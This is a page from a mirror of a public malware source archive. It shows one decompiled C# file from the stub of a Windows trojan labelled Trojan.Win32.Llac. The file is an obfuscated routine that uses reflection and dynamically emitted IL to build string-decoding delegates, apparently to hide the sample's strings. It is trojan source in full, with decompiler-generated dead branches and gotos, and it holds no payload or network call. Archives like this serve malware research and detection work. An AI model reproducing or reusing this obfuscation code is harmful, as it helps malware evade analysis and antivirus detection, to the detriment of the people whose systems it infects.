mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
f2ac1ece55
add
116 lines
3.4 KiB
C#
116 lines
3.4 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
|
||
|
||
using System;
|
||
using System.Reflection;
|
||
using System.Reflection.Emit;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0001
|
||
{
|
||
internal static class \u0004
|
||
{
|
||
public static void \u0002([In] Type obj0)
|
||
{
|
||
int index1;
|
||
FieldInfo[] fields;
|
||
do
|
||
{
|
||
fields = obj0.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
|
||
index1 = 0;
|
||
}
|
||
while (false);
|
||
for (; index1 < fields.Length; ++index1)
|
||
{
|
||
FieldInfo fieldInfo = fields[index1];
|
||
label_4:
|
||
try
|
||
{
|
||
while ((object) fieldInfo.FieldType == (object) typeof (\u0001.\u0002))
|
||
{
|
||
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
|
||
{
|
||
typeof (int)
|
||
}, obj0, true);
|
||
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
|
||
ilGenerator.Emit(OpCodes.Ldarg_0);
|
||
MethodInfo[] methods = typeof (\u0002.\u0002).GetMethods(BindingFlags.Static | BindingFlags.Public);
|
||
int index2 = 0;
|
||
while (true)
|
||
{
|
||
int num1 = index2;
|
||
int num2;
|
||
while (true)
|
||
{
|
||
int num3 = methods.Length;
|
||
int num4;
|
||
while (true)
|
||
{
|
||
num4 = num3;
|
||
if (false)
|
||
num3 = num4;
|
||
else
|
||
break;
|
||
}
|
||
MethodInfo meth;
|
||
if (num1 < num4)
|
||
meth = methods[index2];
|
||
else
|
||
goto label_18;
|
||
label_7:
|
||
if ((object) meth.ReturnType == (object) typeof (string))
|
||
{
|
||
if (true)
|
||
{
|
||
ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215);
|
||
ilGenerator.Emit(OpCodes.Sub);
|
||
ilGenerator.Emit(OpCodes.Call, meth);
|
||
}
|
||
else
|
||
goto label_4;
|
||
}
|
||
else
|
||
{
|
||
int num5 = index2;
|
||
while (true)
|
||
{
|
||
num2 = num5 + 1;
|
||
if (true)
|
||
{
|
||
if (false)
|
||
num5 = num2;
|
||
else
|
||
goto label_13;
|
||
}
|
||
else
|
||
break;
|
||
}
|
||
num1 = num2;
|
||
continue;
|
||
}
|
||
label_18:
|
||
ilGenerator.Emit(OpCodes.Ret);
|
||
fieldInfo.SetValue((object) null, (object) dynamicMethod.CreateDelegate(typeof (\u0001.\u0002)));
|
||
if (false)
|
||
goto label_7;
|
||
else
|
||
goto label_19;
|
||
}
|
||
label_13:
|
||
index2 = num2;
|
||
}
|
||
label_19:
|
||
return;
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|